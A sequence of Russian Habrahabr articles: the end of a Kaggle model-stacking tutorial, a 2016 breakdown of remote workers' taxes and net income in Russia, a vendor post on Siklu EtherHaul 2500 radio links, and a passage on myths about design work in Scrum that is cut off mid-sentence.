результаты, полученные на кросс-валидации, и выберем лучшую. В действительности при таком подходе мы не получим никаких улучшений: результаты по сравнению с двухслойной моделью лишь ухудшатся. Такой исход может быть вызван ручным (и тем самым неточным) подходом к регуляризации многослойного перцептрона. Мы просто определяем некоторые разумные интенсивности выпадения для слоев, но нет никакой гарантии того, что выбранные интенсивности будут оптимальными. 4. Введем в работу Hyperopt, чтобы осуществлять поиск в пространстве гиперпараметров автоматизированным и более интеллектуальным способом (будем использовать tpe.suggest, деревья оценивающих алгоритмов Парзена). Запустим несколько итераций Hyperopt на многочисленных конфигурациях гиперпараметров с различными выпадением нейронов, составом слоев и числом скрытых элементов. Наконец, мы выясним, что лучше всего использовать четырехслойную архитектуру (три скрытых слоя) с оптимизатором adadelta, нормализацией пакетов (batch normalization) и выпадением нейронов. Финальная архитектура многослойного перцептрона: Рисунок 5: финальная архитектура многослойного перцептрона Результат этой модели на кросс-валидации составил: MAE=1150.009. Раздел 2. Обучение модели первого уровня К настоящему моменту мы обучили и настроили модели нулевого уровня: XGBoost и многослойный перцептрон. В этом разделе мы составим набор данных из создаваемых при кросс-валидации предсказаний моделей нулевого уровня (для которых известны истинные значения) и тестовой выборки предсказаний моделей нулевого уровня, которые будут использованы для итоговой оценки качества метамодели. Для полного ознакомления с процессом построения ансамбля моделей обратитесь, пожалуйста, к этому файлу. Методология построения ансамбля, которую я использовал, описана ниже: • Шаг 1. Новое обучение и генерация отложенного набора данных. Поскольку мы не отправляем результаты на Kaggle и не «пробиваем лидерборд», мы должны будем разбить обучающую выборку на две части: обучение и тест. Обучающая подвыборка будет использоваться для генерации предсказаний моделей нулевого уровня на кросс-валидации с разбиением на k частей (k-fold), тогда как отложенный набор данных будет применяться лишь для финальной оценки производительности двух моделей нулевого уровня и метамодели. • Шаг 2: Разбиение. Разобьем обучающую выборку на k частей, которые будут использоваться для обучения моделей нулевого уровня. • Шаг 3: Предсказания на кросс-валидации. Обучим каждую модель нулевого уровня на K-1 частях, построим предсказания для оставшейся части. Повторим этот процесс для всех K частей. В конце мы получим предсказания для всей тестовой выборки (для которой у нас также есть метки). • Шаг 4: Обучение на всей выборке. Обучим каждую из моделей нулевого уровня на всем обучающем наборе данных и получим предсказания для тестового набора. Составим из полученных предсказаний новый набор данных, в котором каждый из признаков является предсказанием одной из моделей нулевого уровня. • Шаг 5: Обучение модели первого уровня. Обучим модель первого уровня на полученный при кросс-валидации предсказаниях, используя соответствующие им метки из обучающей выборки как метки для модели уровня 1. После этого, используя наш комбинированный набор данных предсказаний моделей нулевого уровня, мы получим финальные предсказания модели первого уровня. В качестве модели первого уровня мы выбираем линейную регрессию: метамодель легко подвержена переобучению (да и, честно говоря, в самом соревновании мало что работало лучше простой линейной регрессии как метамодели). Данное наложение сработало очень хорошо и значительно улучшило полученные результаты. После кросс-валидации моделей нулевого уровня и финальной ансамблевой модели на скрытом наборе данных мы получили следующие результаты: MAE для XGBoost: 1149.19888471 MAE для многослойного перцептрона: 1145.49726607 MAE для наложения моделей: 1136.21813333 Результат наложения моделей MAE=1136.21 заметно лучше результата лучшей из моделей нашего ансамбля. Конечно, этот результат может быть еще улучшен, однако в данном проекте мы идем на компромисс между увеличением предсказательной способности модели и снижением времени обучения. Пояснение: этот набор результатов был вычислен на отложенной выборке, не через кросс-валидацию. Таким образом, мы не имеем права напрямую сравнивать результаты, полученные на кросс-валидации, с результатами на отложенном наборе данных. Тем не менее, отложенный набор данных имеет, как ожидается, распределение, близкое к распределению всего набора данных. Вот почему мы можем утверждать, что наложение действительно улучшило достигнутые нами показатели. В качестве заметки на полях, было бы любопытно узнать, с какими весами вошли в наложение наши модели нулевого уровня. В линейной регрессии финальное предсказание – это просто линейная комбинация весов и исходных предсказаний: PREDICTION = 0.59 * XGB_PREDICTION + 0.41 * MLP_PREDICTION Часть 4. Результаты Оценка и валидация моделей Чтобы оценить наши результаты, мы обучим и произведем валидацию наших финальных моделей (отдельных и ансамбля) на различных подвыборках набора данных. Таким образом мы сможем увидеть, насколько стабильны наши модели и могут ли они давать устойчивый результат вне зависимости от начальной обучающей выборки. Для достижения этих целей мы обобщим наложение моделей из документа Stacking notebook до класса modules/stacker.py, который позволяет быстро вызывать процедуры оценки наших моделей с различными сидами (чтобы модели немного отличались друг от друга). Мы обучим наши модели нулевого и первого уровней с 5 разными сидами и запишем результаты в таблицу. Затем мы используем метод pd.describe для получения агрегированной статистики по производительности каждой из моделей. Наиболее характерными метриками здесь будут среднее (mean) и стандартное отклонение (std): Как можно видеть, наши модели достаточно стабильные (стандартное отклонение низкое) и ансамбль всегда превосходит любую другую модель. Его самый низкий результат лучше самого лучшего результата самой лучшей из индивидуальных моделей (MAE=1132.165 против MAE=1136.59). Еще одно пояснение: Я старался внимательно обучать и валидировать модели, однако здесь все еще может быть пространство для утечек информации, которые остались незамеченными. Все модели демонстрируют улучшение результатов, которое могло быть вызвано одной такой утечкой (но мы обучили только пять моделей, параметр seed=0 мог просто дать худшие результаты). Тем не менее, итоговые выводы остаются валидными: усреднение нескольких наложений, обученных с различными сидами, улучшает итоговые результаты. Обоснование Наши базовые результаты: MAE=1217.52 (модель случайного леса от компании Allstate) и MAE=1190.73 (MAE простого многослойного перцептрона). Наша финальная модель улучшила первый результат на 7.2% и на 5.1% — второй. Чтобы измерить значимость этих результатов, добавим каждый из базовых результатов в таблицу результатов, полученной в предыдущем разделе, и выясним, могут ли наши базовые результаты быть названы аномальными. Так, если базовые результаты можно рассматривать как выбросы, разница между нашими финальными и базовыми результатами будет значимой. Чтобы произвести этот тест, мы можем вычислить показатель IQR (интерквартильный размах), который используется для выявления аномалий и выбросов. Затем мы вычислим третью квантиль данных (Q3) и используем формулу Q3 + 1.5 * IQR для установления верхней границы результатов. Значения выше этой границы считаются выбросами. При проведении этого теста мы ясно видим, что оба базовых результата оказываются выбросами. Таким образом, мы можем сказать, что наше наложений моделей значительно превосходит базовые контрольные точки. for baseline in [1217.52, 1190.73]: stacker_scores = list(scores.stacker) stacker_scores.append(baseline) max_margin = np.percentile(stacker_scores, 75) + 1.5*iqr(stacker_scores) if baseline - max_margin > 0: print 'MAE =', baseline, 'считается выбросом.' else: print 'MAE = ', baseline, 'НЕ считается выбросом.' На выходе получим: MAE = 1217.52 считается выбросом. MAE = 1190.73 считается выбросом. Часть 5. Заключение Визуализация в свободной форме Давайте абстрагируемся от деталей и взглянем на проект как на единое целое. Мы обучали и оптимизировали две основные модели: XGBoost и многослойный перцептрон. Мы сделали ряд шагов, начиная от самой простой из возможных моделей и заканчивая настроенной, более устойчивой и сложной моделью. После этого мы создали предсказания на кросс-валидации для нашей модели уровня 1, линейной регрессии, и использовали технику стэкинга для объединения предсказаний моделей нулевого уровня. Наконец, мы сделали валидацию производительности стэкинга и обучили пять его вариаций. Усредняя результаты этих пяти моделей, мы получили финальный результат: MAE=1129.91. Рисунок 6: Основные этапы улучшения результатов Конечно, мы могли бы включить в нулевой уровень и большее число моделей, или могли бы сделать их ансамбль более сложным. Один из возможных путей – обучить несколько полностью различных ансамблей и скомбинировать их предсказания (например, как линейную комбинацию) на новом уровне, уровне 2. Анализ проделанной работы Полное решение задачи Идеей данного проекта было работать с набором данных, в котором не требуется создания новых признаков. Иметь такой набор данных очень приятно, т.к. это позволяет сосредоточиться на алгоритмах и их оптимизации, а не на предварительной обработке данных и внесении в них изменений. Конечно, мне хотелось испытать в действии XGBoost и нейронные сети, и выбранный набор данных мог дать хорошую базовую оценку качества моей модели в сравнении с результатами других участников Kaggle. Даже с приведенными в проекте слабыми моделями мы получили значительное превышение базовых результатов: на 7.2% . Мы сравнили базовые результаты с финальными и убедились в том, что финальные результаты действительно являются значимым улучшением. Трудности Данный проект не был тривиальным. Хотя я и не демонстрировал никаких особенных или креативных подходов к набору данных, таких как создание новых признаков, понижение размерности или обогащение данных, вычислительная сложность требуемых для Kaggle моделей оказалась выше той, что я ожидал. Главной проблемой в Allstate Claims Severity стала воспроизводимость вычислений. Для ее обеспечения нужно было выполнить ряд предварительных требований: процесс получения результата должен был быть ясным, вычисления – детерминированными (или хотя бы с ограниченными колебаниями) и воспроизводимыми за разумное время на любом современном оборудовании. В результате я сильно понизил сложность моих действующих моделей и полностью исключил некоторые техники (например, я исключил технику бэггинга (bagging) для XGBoost и многослойного перцептрона, хотя после применения бэггинга эти модели показывают заметно лучшие результаты). Этот проект был выполнен преимущественно на инфраструктуре Amazon Web Services: я использовал экземляры p2.xlarge с GPU-вычислениями для многослойного перцептрона (GPU NVIDIA Tesla K80, 12 Гб памяти GPU) и экземляры c4.8xlarge с CPU-вычислениями для XGBoost (36 vCPU, 60 Гб памяти). В моем проекте есть несколько разделов, которые требуют тяжелых вычислений: • Поиск по сетке. Перебор по всем сеткам в разделе XGBoost занимает достаточно много времени. На обычном компьютере вычисление всего необходимого для XGBoost может потребовать от одного до двух часов. • Кросс-валидация моделей многослойного перцептрона. К сожалению, не существует никакого волшебного средства ускорения кросс-валидации в обучении многослойного перцептрона. Для оценки качества модели кросс-валидация — надёжный способ, избегать его не стоит, но при этом следует запастись достаточным количеством времени. • Оптимизация гиперпараметров. Это определенно самая тяжелая часть всех вычислений. Перебор различных комбинаций гиперпараметров и поиск подходящей с помощью Hyperopt занимает много часов. • Генерация предсказаний на кросс-валидации для многослойного перцептрона и XGBoost. Лучшим способом воспроизведения моих результатов было бы сначала запустить заранее обученные модели и затем пересчитать некоторые наиболее легкие их них. Улучшения Проект оставляет обширное пространство для будущих улучшений. Ниже я размышляю над тем, какие ещё способы улучшений можно использовать. Предварительная обработка данных 1. Я сначала начал работать над моделью многослойного перцептрона, и только потом обнаружил прием с логарифмированием целевой переменной. В результате мои многослойные перцептроны были обучены без логарифмической трансформации. Конечно же, можно и нужно логарифмировать целевую переменную и заново обучить все модели многослойного перцептрона. 2. Перспективным способом преобразования целевой переменной было бы сдвинуть ее на 200 пунктов вправо (прибавить 200 ко всем значениям). Если мы сделаем такой сдвиг и затем возьмем логарифм, мы избавимся от выбросов в левой части функции плотности распределения целевой переменной. Тем самым мы сделаем ее распределение более близким к нормальному. XGBoost 1. Обучить более сложную модель XGBoost, добавляя больше деревьев и в то же самое время уменьшая параметр eta. Моя рабочая модель использует 28 тыс. деревьев и eta=0.003, что было определено с помощью процедуры поиска по сетке. 2. Используйте early_stopping_rounds вместо num_boost_round, чтобы остановить обучение и избежать переобучения модели. В этом случае задайте eta маленьким числом и num_boost_round очень большим (до 100 тыс.). Нам нужно понимать, что в таком случае придётся готовить валидационную выборку. В результате наша модель получит меньше данных для обучения, и ее производительность может упасть. 3. Запустите процедуру поиска по сетке на других значениях гиперпараметров. Скажем, можно было бы протестировать значения colsample_bytree между 0 и 0.5, которые часто приносят хорошие результаты. Идея здесь состоит в том, что в пространстве гиперпараметров существует несколько локальных оптимумов и нам следовало бы найти несколько из них. 4. Объедините несколько моделей XGBoost, обученных с разными значениями гиперпараметров. Мы можем сделать такое объединение путем усреднения результатов моделей, смешивания (blending) и наложения (stacking). Многослойный перцептрон 1. Используйте технику бэггинга (bagging) для усреднения нескольких многослойных перцептронов одной и той же модели. Наша модель стохастическая (например, потому, что мы используем выпадение нейронов = dropout), поэтому бэггинг сгладит ее работу и улучшит предсказательную способность. 2. Попробуйте более глубокую архитектуру сети, другие конфигурации элементов и значения гиперпараметров. Можно протестировать другие оптимизаторы, работающие по методу градиентного спуска, изменить число слоев, число элементов в каждом слое — вся мощь Hyperopt в наших руках. 3. Скомбинируйте несколько различных многослойных перцептронов (скажем, обучите двухслойную, трехслойную и четырехслойную нейронную сеть), использую любую из известных вам техник. Эти модели буду по-разному охватывать пространство данных и обеспечат улучшения по сравнению с базовыми результатами. Кросс-валидация Вместо использования простой кросс-валидации с разбиением на 3 части (иногда мы использовали разбиение на 5 частей), мы можем перейти к кросс-валидации на 10 частей. Такая кросс-валидация больше подходит для соревнований Kaggle, но почти точно позволит улучшить наши результаты (у нас будет больше данных для обучения). Стэкинг 1. Можно добавить в ансамбль больше моделей нулевого уровня. Во-первых, мы можем просто обучить больше многослойных перцептронов и моделей XGBoost, но они должны отличаться друг от друга. Например, мы можем обучить эти модели на различных поднаборах данных, для некоторых из них мы можем по-разному предварительно обработать данные (loss). Во-вторых, мы можем ввести полностью другие модели: LightGBM, алгоритм k ближайших соседей, факторизационные машины (FM) и т.д. 2. Другая идея – добавить второй уровень как новый слой наложения. В результате мы получаем двухуровневый стэкинг: у нас всё ещё есть регрессоры нулевого уровня (L0), на out-of-fold предсказаниях которых мы обучаем несколько разных метамоделей первого уровня (L1). Затем, мы просто берём линейную комбинацию предсказаний метамоделей (L2) — и получаем финальную оценку. 3. Попытаться воспользоваться PCA — методом главных компонент, который был рассмотрен в ноутбуке про исследование данных. Здесь есть несколько идей. Во-первых, полученные компоненты можно подмешать к out-of-fold предсказаниям, на которых будет обучаться линейная регрессия (L1), чтобы добавить в метамодель дополнительную информацию. Во-вторых, можно отобрать из всех признаков только те, которые имеют высокий вес, а остальные отбросить как шум. Иногда это тоже помогает улучшить качество полученной модели. Описание конфигурации, на котором выполнялся весь проект, здесь
https://habrahabr.ru/company/npl/blog/317246/
habrahabr
Дистанционная работа — сколько % net? (остается в кармане)
['фриланс', 'удаленная работа', 'карьера']
До того, как получаешь опыт удаленной работы и оформления доходов в РФ, в голове бродят сомнения. Вроде как, грязный “gross” доход от удалённой работы выше, но сколько останется в кармане? Как...
До того, как получаешь опыт удаленной работы и оформления доходов в РФ, в голове бродят сомнения. Вроде как, грязный “gross” доход от удалённой работы выше, но сколько останется в кармане? Как сравнить офисный заработок с заработком на «удалёнке»? Как проповедник удаленного образа работы, очищу, как луковицу от шелухи, величину “net” дохода за удаленный труд. Монетарные и немонетарные факторы Монетарные факторы – это налоги, бонусы и премии, куда также можно отнести поощрения в виде акций компании, модный нынче опцион, доп. расходы компаний на накопительную пенсию сотрудников, оплачиваемый отпуск, отгулы, праздники и больничные. Немонетарные выгоды — взаимоотношения коллег и корпоративный дух, ДМС (добровольное медицинское страхование) и теплое светлое оборудованное рабочее место, где есть стол, компьютер, телефон, интернет. Традиционный работодатель щедро снабжает уютные офисы секретарями, оргтехникой, оплачивает услуги курьерских служб и почту. В вашем распоряжении есть переговорные комнаты с чаем, водой и кофе. Отдельным маленьким счастьем можно назвать корпоративные праздники с артистами и закусками, корпоративные скидки в спортзал, корпоративную столовку и прочие маленькие радости. Не последним нематериальным фактором, который в умелых руках превращается в материальный, является бренд компании-работодателя. Какой вес присваивать немонетарным факторам — личное дело каждого: ведь в конечном итоге работа — это не только деньги, но и совокупность эмоций, опыта, образования, взаимоотношений, которые и формируют образ жизни. В зависимости от характера, одним подходит больше традиционная офисная работа. Многие могут быть более счастливыми и успешными на удаленке, о чем говорит Fried в книге Remote , но это отдельная тема. Ну, а ниже, самое простое — расчеты по монетарным факторам. Налоги Большинство работодателей, которые предлагают удалёнку, посоветуют вам открыть ИП (оформление дохода для физлица, 13% НДФЛ — отдельная тема). Отношения “оказания услуг” хорошо отражают юридическую суть взаимоотношений. Обычно ИП выбирают упрощённую систему налогообложения или покупают патент. Для многих видов деятельности в 2016 году многие налоговые в РФ предлагают купить патент. Патент (просто и дешево) Как ИП вы имеете право приобрести патент, который имеет фиксированную стоимость. Стоимость патента различается в зависимости от региона, где ИП осуществляет деятельность. К сожалению, в этом случае у вас не будет права на вычет взносов в ПФР и ФФОМС из суммы налога. Вам придётся выплатить фиксированные платежи и однопроцентный платёж, а также стоимость патента. Зато сколько бы вы денег ни заработали, платить государству больше не придётся. Это делает эффективную ставку налога при доходах, превышающих 2 млн. руб в год менее 1% для некоторых регионов и многих видов деятельности — вот ссылка на калькулятор стоимости патентов. Например, Московская область, разработка ПО — 11 687 рублей в год (для ИП необходимо указать в калькуляторе 0 найемных рабочих). Упрощённая система налогообложения (менее актуальна, чем патент) В случае УСН от всех ваших доходов придётся отнять 6%. Также вам придётся уплатить страховые взносы «за себя» (фиксированные платежи), даже если вы не получите никаких доходов. В течение 2016 года предпринимателю необходимо произвести 2 взноса: ПФР — 19 356,48 руб., ФФОМС — 3 796,85 руб. Итого 23 153,33 руб. Индивидуальным предпринимателям, годовой доход которых за 2016 год будет больше 300 000 рублей, придется дополнительно заплатить 1% от суммы доходов превысивших эти 300 000 рублей до 1 апреля следующего года. Но уплаченные фиксированные платежи и однопроцентный платёж можно зачесть в счёт уплаты налога. Получается, что если 6% налога с ваших доходов выходит больше, чем сумма фиксированных платежей и однопроцентного платежа, вы не несёте дополнительных расходов. Подведём черту. На налоги, обслуживание банковского счёта и другие расходы ИП лучше заложить 1-6% от дохода . Если вы работаете по удалёнке на иностранную организацию, вас вряд ли «заставят» открывать ИП. При этом уплата налогов — полностью ваша ответственность. Социалка В 2016 году в РФ 14 праздничных (нерабочих), но оплачиваемых работодателем дней – январские и майские каникулы, 23 февраля и 8 марта, ну и 13 июня с 4 ноября. Также “традиционный” работник имеет право на 28 календарных дней оплачиваемого отпуска. Таким образом, при средней величине — 21 рабочих дня в месяц и 252 рабочих дня в году, оплачивается 42 нерабочих дня. Это примерно 17% всего рабочего времени. На удалёнке об этом и мечтать забудьте. Отдыхать вы будете, конечно, но, за свой счет. Конечно же есть ещё официальные выплаты по больничным и декретным отпускам в нашей стране. Но они настолько мизерные, что каким-либо образом учитывать их считаю лишним. И, соответственно, делаю вывод — сокращайте удаленный доход еще на 17%, учитывая отпуск и праздники. На статью “другое” влияет многое, в том числе, +расходы на транспорт и одежду, которые сопряжены с офисной работой -издержки на получение денег на удаленной работе (переводы и плата за конвертацию, обычно менее 3-5%). Подведём итоги Получается, что если вы хотите адекватно сравнить свой офисный (традиционный) доход с удаленным – отнимайте от последнего приблизительно 20-30%. Тем не менее, из опыта коллег по удалёнке отмечу, что большинству переход от традиционного к удаленному работодателю удвоил чистый доход (особенно при текущем курсе рубля). Во многом, это связано с тем, что уровень зарплат в Сан-Франциско или Лондоне выше. То есть, на удалёнке зарплата действительно “облачная”, среднемировая, а не среднероссийская (если посредник не забирает себе существенную часть). Но это — тема отдельной статьи… Источник Статья взята из моего блога в LinkedIn .
https://habrahabr.ru/company/crossover/blog/317404/
habrahabr
Новые модели радиомостов Siklu EtherHaul 2500 – передавать больше, передавать дальше
['Siklu', 'радиосвязь', 'E-band', 'безлицензионное радио', 'РРЛ']
Не секрет, что потребности пользователей и приложений к пропускной способности всё растут. А вот частот в эфире не прибавляется, наоборот, с каждым годом и каждым новым частотным присвоением...
Не секрет, что потребности пользователей и приложений к пропускной способности всё растут. А вот частот в эфире не прибавляется, наоборот, с каждым годом и каждым новым частотным присвоением свободных частот остаётся всё меньше. Именно поэтому в России уже успешно эксплуатируется более 5000 пролётов радиомостов Siklu, Гигабитных решений E диапазона (70, 80 ГГц), не требующих присвоений частотных номиналов и платы за них. Сегодня мы с радостью расскажем Вам о новой модели Siklu EtherHаul 2500, предлагающей вдвое большую ёмкость и в полтора раза большие расстояния, чем привычная уже нам 1200 серия. Итак, что же нового предлагает нам EtherHaul 2500, решение, в целом, новое для российского рынка, но уже почти год как аппробированное в ключевых заказчиках. В первую очередь, конечно, это большая ёмкость радиоканала. Причём большая сразу в два раза, в сравнении с предыдущим флагманом 1200F и в 5,5 раз – в сравнении с наиболее популярной в России моделью 1200TL (2 Гбита дуплекса против 700 Мбит симплекса). Во вторую — большая мощность передатчика и лучшая чувствительность, и, соответственно, большая дальность связи при той же доступности, или большая скорость и доступность на прежней дальности. В новом модельном ряду SIKLU перешли от практики выпуска раздельного модельного ряда EXT и 1-ft (без возможности установить внешнюю антенну) в пользу систем с универсальным креплением, позволяющим подключить антенну любого из типоразмеров: 16, 31, 60 см. Соответственно, теперь артикулы для Odu выглядят так: Сам антенный блок с универсальным посадочным местом EH-2500F-ODU-H-EXT и парный ему EH-2500F-ODU-L-EXT. Антенны на 30 EH-ANT-1ft EtherHaul 1 ft. antenna и 60 см EH-ANT-2ft EtherHaul 2 ft. antenna. Монтажные комплекты: EH-MK-1ft EtherHaul Mounting Kit for 1 ft. Antenna и EH-MK-2ft EtherHaul Mounting Kit for 2 ft Antenna. Это крайне позитивная новость для тех, кто использует Siklu в качестве временного канала связи для подключения новых территорий — больше нет необходимости держать на складе оборудование разных артикулов для разной дальности, достаточно лишь иметь нужные антенны. Приведем сравнение линеек оборудования. Модель Мультиплексирование Емкость Мощность Максимальная чувствительность Порты 1200 TDD Гигабит симплекс 5 дбм -86 2 комбо порта, каждый работает как медный или sfp 1200F FDD Гигабит дуплекс 8 дбм -89 4 независимых порта 2500F FDD 2 Гигабита дуплекс 19 дбм -89 4 независимых порта Рекомендованная производителем дальность линков уровня агрегации для дождевого региона E Если же говорить о менее требовательных каналах уровня доступа, где приемлема доступность 99.9% то речь идёт уже о 7 км: Впрочем, с помощью технологии резервирования канала EMM можно строить и куда более протяжённые линки. EMM ( упрощённый вариант реализации ERP ) позволяет в случае высокого затухания неразрывно переключить трафик на резервный низкочастотный, устойчивый к дождю, но и относительно низкопроизводительный канал связи, обеспечивая при этом высокую доступность канала для наиболее приоритетного трафика. В качестве резервного канала при этом могут выступать как классические решения диапазона 5-6.4 GHz, так и новинка — AirFiber 11 о котором мы скоро обязательно напишем отдельный материал. Совмещаем лучшее: высокую производительность E диапазона и высокую доступность каналов классических диапазонов. Схема коммутации трафика, или ответ на вопрос — зачем Siklu столько кабельных интерфейсов. Ёмкость и пинг при переключении 1200T на резервный низкочастотный радиоканал и обратно Калькулятор, размещенный на сайте производителя, позволяет сравнить дальность связи различных устройств, приведем сравнение на дистанции 5 км с 2 ft антеннами для подмосковья. Кстати, недавно калькулятор дальности линка обновился, теперь в нём можно выбрать расчёт канала для различных моделей оборудования и самим убедится в преимуществах новых моделей. EH1200T: EH1200F: EH2500: Разница, как говорится, на лицо. Теперь-же самое интересное- перейдём от теории к практике. 8 Км линк, успешно эксплуатирующийся одним из крупнейших операторов в Татарстане уже несколько месяцев. Дальность: Где-то там далеко есть Siklu… а значит, и 2 Гбит связность Таким образом, мы видим, что практическая доступность линка даже превышает расчётную. С новыми моделями оборудования Siklu вполне можно говорить о 5 и более км каналах связи без ожидания получения частот и ёмкостями в Гбит и более. Мы надеемся, что всё больше вышек связи в России будут выглядеть так. А в следующем материале о Siklu мы спустимся с вышек связи на улицы города и рассмотрим новый компактный и недорогой продукт Siklu для связи в городских условиях на дистанции 800-1100 метров.
https://habrahabr.ru/company/comptek/blog/317202/
habrahabr
Мифы и заблуждения о проектировании в Scrum
['agile', 'scrum', 'проектирование', 'мифы']
Сегодня гибкими методологиями сложно кого-то удивить: со дня принятия манифеста Agile прошло уже 15 лет, еще раньше мир узнал про Scrum. Это уже обыденность для многих компаний, занимающихся...
Сегодня гибкими методологиями сложно кого-то удивить: со дня принятия манифеста Agile прошло уже 15 лет, еще раньше мир узнал про Scrum. Это уже обыденность для многих компаний, занимающихся разработкой ПО и кажется, что добавить здесь нечего. Но при всей популярности Scrum в своей работе и на разного рода семинарах и конференциях временами сталкиваюсь с непониманием его базовых принципов. И все чаще в комментариях на Хабре вижу негативные отзывы: у кого-то не получается договориться с заказчиками о переходе на итерационную разработку, кто-то не может адаптировать команду. Наверно, самый популярный отзыв о Scrum, который можно встретить звучит так: «Мы тратим по полчаса на митинги с нулевой пользой, а потом работаем как раньше, только добавилась головная боль с демо, ретро и планированием». Мы начали внедрять Scrum с 2011 года. Проект у нас непростой: 6 команд (scrum of scrum), более 40 участников и фичи на годы работы. Естественно у нас вначале не все было гладко, после первых неудач всерьез думали вернуться к привычной водопадной модели, но в итоге смогли адаптировать Scrum под себя. В результате мы имеем выстроенный стабильный и предсказуемый процесс разработки, без факапов и с высоким качеством. Все это время я был и остаюсь тимлидом одной из команд и практически ни одна проблема, с который мы сталкивались, не проходила мимо меня. Можно долго рассуждать о причинах провала Scrum в отдельных компаниях, но сегодня хочется обратить ваше внимание на одну из важных частей разработки – проектирование. Дальнейшие рассуждения будут основаны на личном опыте, все персонажи вымышлены, а совпадения случайны. Итак, начнем. Миф 1. Я программист, я не хочу проектировать И тут возможно многие узнали себя. Простой эксперимент: спросите себя и коллег, кто хочет «проектировать». По моим наблюдениям 70-80 % скажут «нет». А почему? Для начала нужно разобраться, а что такое «проектирование»? Мне довелось пару лет поработать на проектах «под заказ» с чистым водопадным процессом и большой любовью к спецификациям и толстым томам проектных решений. И знаете, тогда я бы тоже сказал, что не хочу проектировать. Два месяца в одиночку генерировать сотни страниц документации невесело и совсем не похоже на то, что любят все программисты – писать код. Но давайте поговорим о «проектировании в Scrum». Целей у проектирования немного: снизить риски при разработке, дать владельцу продукта, стейкхолдеру/заказчику и команде понимание того, что и как будет делать команда и в результате повысить ценность продукта. В результате получается реалистичная модель «как будет» с учетом ограничений, ресурсов и компетенций. В общем случае не нужны тонны исчерпывающей документации, достаточно понимания, что нужно делать и детальной декомпозиции работ. Можно вообще не проектировать, в конце концов есть bug driven development. Если налить воду в решето и быстро затыкать пальцем его дно создается ощущение, что вода не вытекает. Аналогичным образом обеспечивается качество многих программных продуктов. Но ведь подумать о том, как ты будешь делать задачу из баклога это тоже проектирование. Планирование спринта — это тоже проектирование. А в командной итерационной работе есть отличные приемы как добиться желаемого и не мучать разработчиков «проектированием»: Если вы работаете в незнакомых и сложных предметных областях — возьмите в команду аналитика, подружитесь с ним – он не кусается. Он может проработать описания ролей пользователей и кейсов их работы (но только не требования, пожалуйста, только не требования), составить обзор конкурентов, изучить законодательство и предметную область в целом. И при этом он в команде на протяжении всего спринта, а значит он может помочь команде и консультациями при разработке. А с разработчиков это снимет головную боль, ведь работа аналитика — это то, что не любят делать сами программисты при проектировании. Не пишите лишнюю документацию — пишите код. За последние пару лет у меня выработалось четкое правило: для любого мало-мальски сложного проекта нужно сделать прототип. Кажется, что это ничего не даст, но на деле при его реализации постоянно всплывают разные мелочи, которые мы бы не заметили без прототипа. Показывать заказчику работающие прототипы вместо бумажек — это плюс к доверию вашей оценке проекта и вам лично. И самое главное: разрабатывать прототипы может вся команда! Проектируйте быстро. Затягивание проектов плохо сказывается на достижении целей спринта и моральном духе разработчиков. Лучше «навалиться» всей командой, закончить проектирование и перейти к реализации. В общем – «я программист, а не проектировщик» это не отговорка, Scrum – это в первую очередь команда, а в команде каждому найдется чем заняться при проектировании. Миф 2. «Мудрец в стеклянной башне» Это выражение придумано не мной, но мне кажется оно точно отражает еще один миф насчет проектирования – можно найти суперпроектировщика, который возьмет на себя все проектные решения, сделает в срок и с нужным качеством и все будет в шоколаде. У него все компетенции, знания и на нем вся ответственность. Например, в этом контексте у ребят из гильдии проектировщиков используется термин «аналитик-проектировщик». Лично работал с человеком, который раньше выполнял такую роль и, наверное, в других обстоятельствах сам бы стал таким «мудрецом в стеклянной башне». В общем, это довольно распространенный подход. Почему это не работает? На самом деле работает, но есть несколько минусов: Очевидные вещи типа отсутствия взаимозаменяемости и зависимости от настроения, здоровья и лояльности одного человека расписывать не нужно, это и так понятно. «Мудрецу» очень легко перейти на общение с командой в исключительно командном стиле. Он спускает «из башни» требования, а остальные их реализуют. Здесь нужно пояснить, почему я не люблю «требования». User story говорят нам о том, что нужно пользователям и почему, а требования говорят нам лишь о том, что показалось важным «мудрецу». К тому же придется потратить немало времени, чтобы донести идеи «мудреца» до команды, чтобы все участники поняли, что от них хотят. За счет того, что «мудрец» проектирует один он делает это очень долго. Даже не так: ооо-о-очень долго. За время одного спринта получается нереально успеть закончить фичу целиком, в результате появляются «спринты проектирования», потом «спринты реализации» и «спринты поддержки». Не очень похоже на Scrum, правда? Отдельно выделю то, что такое проектирование совершенно не развивает команду. А между тем именно команда, ее работа и развитие важны в Scrum. В итоге: суперпроектировщик это работающее решение, но еще лучше, чтобы команда проектировала вместе с ним, это будет и быстрее, и качественнее. Миф 3. Отказались от бумаги и чувствуем себя отлично Вопрос документирования в гибких методологиях часто бывает болезненным. Толстые тома документации все равно никто не читает, и они устаревают уже после написания первой строчки кода. А программисты, видя это, не хотят писать бумажки «на выброс». Может быть, вообще откажемся от документирования? Было бы отлично, но совсем отказаться не получится. На волне минимизации «исчерпывающей документации» ( манифест Agile , пункт 2) легко решить, что проектную документацию мы больше не пишем. Вопросы решаем устно, команда все равно в курсе что мы делаем, заказчику на пальцах объясним. Вживую это, к сожалению, выглядит так, как будто человечество тысячелетиями изобретало и развивалось письменность как способ фиксации знаний, а в 2016 году разработчики ПО вернулись к устным сказаниям. Когда вы что-то обсудили с заказчиком, не записали, забыли, а потом он спрашивает, что вы придумали по его вопросу – то это повод поменять две вещи: тему разговора и свой подход к документированию. Из личной практики есть несколько рекомендаций: писать бумажки программистам реально тяжело и скучно – найдите способ документирования, который нравится лично вам. Рисуете мокапы – отлично. Любите майндмапы – ок. Рисуете на доске – замечательно, пусть это будет вашим форматом проектного решения. Главное – договориться со всеми, что у вас теперь такой формат. В остальном – Scrum’ом не запрещено и получается на 95% интереснее, чем писать большие тексты. определитесь с тем, кому кроме команды будут интересны ваши проектные решения. Это могут быть: менеджеры по продажам, маркетологи, консультанты, работающие с заказчиками. Часто проще потратить время и записать, чем потом пересказывать одно и то же раз за разом. ведите список вопросов, которые вам задали на обсуждениях, демо или просто в коридоре. Необязательность не имеет ничего общего с гибкостью и выглядит как неуважение к коллегам. В итоге: документируйте проектные решения осознанно, а не спонтанно, и подстраивайте формат под себя. Миф 4. А ладно, потом на демо покажем Работая в команде легко забыть, что есть заказчики, пользователи, ведь коммуникаций и так хватает и создается ощущение общего консенсуса. На демо конечно нужно показать работающий инкремент продукта, но по ходу спринта команда выглядит самодостаточной. Но тут я задам простой вопрос: бывало ли у вас такое, что после демо вы все переделывали? Если да, то вполне возможно, что вам не хватает коммуникаций по ходу спринта. Это актуально и для разработки, а для проектирования регулярное общение с владельцем продукта или заказчиком и вовсе обязательно. У 